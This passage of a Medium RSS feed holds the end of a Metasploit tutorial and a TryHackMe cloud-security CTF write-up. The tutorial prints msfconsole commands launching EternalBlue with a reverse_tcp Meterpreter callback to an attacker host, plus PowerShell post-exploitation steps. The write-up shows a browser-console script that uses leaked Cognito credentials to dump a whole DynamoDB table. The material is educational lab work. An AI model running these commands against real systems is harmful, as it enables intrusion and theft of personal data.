            <atom:updated>2026-09-02T07:39:05.117Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is Metasploit?</h3><p>Metasploit is an open-source penetration testing framework used by security researchers, ethical hackers, and defensive teams (Blue Teams) worldwide. Developed by HD Moore in 2003 and acquired by Rapid7 in 2009, it acts as a Swiss Army knife for cybersecurity. Instead of writing custom code to test every individual security flaw, Metasploit provides a standardized environment to discover, exploit, and validate vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Op02UP9k0I8q7d4eGJVRQ.jpeg" /><figcaption>cvr</figcaption></figure><h3>What are Exploits?</h3><p>A <strong>vulnerability</strong> is a weakness or flaw in software, hardware, or network logic think of it as an unlocked window on a house. An <strong>exploit</strong> is the specific sequence of commands or code designed to take advantage of that vulnerability to cause unintended behavior, such as gaining unauthorized access or elevating privileges.</p><h3>How Does Metasploit Work?</h3><p>At its core, Metasploit simplifies offensive security into a predictable five-step workflow:</p><ol><li><strong>Identify the Target Vulnerability:</strong> Find an unpatched service or flaw on the target machine via scanning (e.g., using Nmap).</li><li><strong>Select the Exploit:</strong> Choose the Metasploit module written to target that specific flaw.</li><li><strong>Select the Payload:</strong> Choose the action or shell to execute once the exploit succeeds.</li><li><strong>Configure Options:</strong> Set target IPs, listening IPs, and port numbers.</li><li><strong>Execute:</strong> Launch the module.</li></ol><h3>Folder Structure Overview</h3><p>Understanding Metasploit’s directory structure (typically located in /usr/share/metasploit-framework/modules/) makes navigating the framework seamless:</p><ul><li>modules/exploits/: Contains the code designed to leverage specific system vulnerabilities, categorized by OS and service (e.g., Windows, Linux, HTTP, SMB).</li><li>modules/payloads/: Holds the code delivered to the target after exploitation (e.g., interactive shells, command execution scripts).</li><li>modules/auxiliary/: Tools used for scanning, port sweeping, banner grabbing, and denial-of-service tests without delivering a primary payload.</li><li>modules/encoders/: Modules that obfuscate payloads to evade signature-based Antivirus (AV) detection.</li><li>modules/post/: Post-exploitation modules used after gaining access (e.g., dumping password hashes, gathering system metrics, privilege escalation).</li></ul><h3>What is a Payload?</h3><p>If an exploit is the delivery vehicle (the missile), the <strong>payload</strong> is the cargo (the warhead). It is the actual code executed on the target system after the exploit successfully opens the door. Payloads range from simple commands (adding a user account) to advanced interactive shells like <strong>Meterpreter</strong> an in-memory, dynamically extensible payload that leaves little trace on the target disk.</p><h3>Listeners &amp; Key Parameters</h3><p>When setting up a remote session, Metasploit uses a <strong>listener </strong>a process running on the attacker’s machine waiting for an incoming connection from the target payload.</p><ul><li><strong>RHOSTS (Remote Hosts):</strong> The IP address of the target machine you want to test.</li><li><strong>LHOST (Local Host):</strong> The IP address of your listening machine (attacker) to which the payload sends the connection back.</li><li><strong>LPORT (Local Port):</strong> The port on your listening machine configured to receive the incoming payload connection.</li></ul><h3>Hands-On Example: The Mechanics of an Attack</h3><p>Let’s walk through an educational example demonstrating how an exploit is configured in the Metasploit Console (msfconsole). In this scenario, we test an unpatched Windows host on an isolated lab network using the notorious <strong>EternalBlue</strong> (MS17-010) SMB vulnerability.</p><pre># 1. Start the Metasploit Framework Console<br>msfconsole</pre><pre># 2. Search for and select the EternalBlue exploit module<br>use exploit/windows/smb/ms17_010_eternalblue</pre><pre># 3. Set the target IP address (RHOSTS)<br>set RHOSTS 192.168.1.50</pre><pre># 4. Set the attacker&#39;s IP address for the reverse shell callback (LHOST)<br>set LHOST 192.168.1.10</pre><pre># 5. Set the local listening port (LPORT)<br>set LPORT 4444</pre><pre># 6. Select the reverse TCP Meterpreter payload<br>set PAYLOAD windows/x64/meterpreter/reverse_tcp</pre><pre># 7. Verify all configuration parameters<br>show options</pre><pre># 8. Execute the exploit<br>exploit</pre><p>Upon execution, Metasploit delivers the SMB exploit packet. Once the memory corruption occurs, the reverse_tcp payload connects back to 192.168.1.10:4444, opening an active <strong>Meterpreter</strong> session.</p><h3>5. Post-Exploitation: Exploring the System</h3><p>Once a session is established, post-exploitation allows security analysts to assess the impact of the breach. Within Meterpreter, you can drop directly into a Windows PowerShell interface to inspect system security controls:</p><pre># Drop into the target machine&#39;s system shell from Meterpreter<br>meterpreter &gt; shell</pre><pre># Spawn a native PowerShell instance<br>C:\Windows\system32&gt; powershell -ExecutionPolicy Bypass</pre><h3>Essential Post-Exploitation PowerShell Commands</h3><p><strong>Task</strong> <strong>Command</strong> <strong>Objective</strong> <strong>System Info</strong> Get-ComputerInfo Review OS build, patch level, and system architecture. <strong>User Privileges</strong> whoami /priv or [Security.Principal.WindowsIdentity]::GetCurrent() Check current account privileges (e.g., verifying SeDebugPrivilege). <strong>Network Connections</strong> Get-NetTCPConnection -State Listen Audit active listening services on the host. <strong>Running Processes</strong> Get-Process \| Where-Object {$_.CPU -gt 5} Identify active software and potential security agents running. <strong>Local Accounts</strong> Get-LocalUser Inspect local accounts and active administrator accounts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f42938723f9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Complimentary Writeup]]></title>
            <link>https://mahidulhq.medium.com/tryhackme-complimentary-writeup-d09efbd6a4a2?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/d09efbd6a4a2</guid>
            <category><![CDATA[cybersecurity-writeups]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 11:18:59 GMT</pubDate>
            <atom:updated>2026-07-31T11:18:59.412Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hgQD9MyT4LrpqYQs.png" /><figcaption>cover</figcaption></figure><p>Executive Summary:</p><ul><li><strong>Platform:</strong> TryHackMe</li><li><strong>Room:</strong> Complimentary</li><li><strong>Category:</strong> Cloud Security</li><li><strong>Difficulty:</strong> Easy</li></ul><p>The <strong>Complimentary</strong> challenge demonstrates a common cloud misconfiguration vulnerability involving hardcoded or publicly exposed temporary AWS credentials via Amazon Cognito. By leveraging these exposed credentials, an attacker can query the backend Amazon DynamoDB instance directly and retrieve sensitive guest data stored within the database.</p><h3>Initial Reconnaissance &amp; Inspection</h3><p>Navigate to the target web application hosted on AWS S3:</p><pre>http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8VhQsnwaqFMnFmZ8gynJw.jpeg" /><figcaption>link showed this</figcaption></figure><p>Inspect the HTML source code (View Page Source) to check for developer comments or hardcoded sensitive variables. No significant comments are present in the source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8NXH0Ss79uXCRgoYSMkfVg.png" /><figcaption>source</figcaption></figure><h3>Network Traffic &amp; Credential Enumeration</h3><p>Open Browser Developer Tools (<strong>F12</strong> or <strong>Inspect</strong>) and navigate to the <strong>Network</strong> tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2DWx7p_QwyhtiO1iY-VTQ.png" /><figcaption>inspect</figcaption></figure><p>Refresh the page to capture initial API interactions and script loadings.</p><p>Analyze the outgoing API requests and responses:</p><ul><li><strong>Cognito Credentials Leak:</strong> Look at responses returning authorization tokens or identity credentials. The web application retrieves temporary AWS credentials (AccessKeyId, SecretKey, and SessionToken) issued by <strong>AWS Cognito</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-Fyu5KdvC7DMdESorUegQ.png" /><figcaption>cognito-identity</figcaption></figure><ul><li><strong>Target Database Discovery:</strong> Inspect API request payloads to determine backend storage details. The app attempts to fetch records from an AWS DynamoDB table named complimentary-GuestWellnessProfiles using a query key of guest_id.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EpL7KxqJA6OYeAqwENjyCA.png" /><figcaption>gues-id</figcaption></figure><h3>Exploitation &amp; Data Exfiltration</h3><p>Because the application imports the AWS JavaScript SDK and exposes temporary credentials to the client side, we can interact directly with the DynamoDB service from the browser console.</p><p>Switch to the <strong>Console</strong> tab in Developer Tools. Execute the following JavaScript script to perform a full DynamoDB scan operation, bypassing single-item query restrictions:</p><pre>AWS.config.region = &#39;us-east-1&#39;;<br>var dynamodb = new AWS.DynamoDB();<br>dynamodb.scan({ TableName: &#39;complimentary-GuestWellnessProfiles&#39; }, function(err, data) {<br>  if (err) {<br>    console.log(err);<br>  } else {<br>    console.log(JSON.stringify(data.Items, null, 2));<br>  }<br>});</pre><p>Enable pasting by running ‘allow pasting’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kODrY7WwFG81WLiQBVRycA.png" /><figcaption>running the script</figcaption></figure><p>Review the returned JSON output containing all guest wellness records stored in the database. Inside the JSON response payload, locate the item containing the challenge flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NKOTD0kw7-QjwJupAeVEYQ.jpeg" /><figcaption>flag found</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d09efbd6a4a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>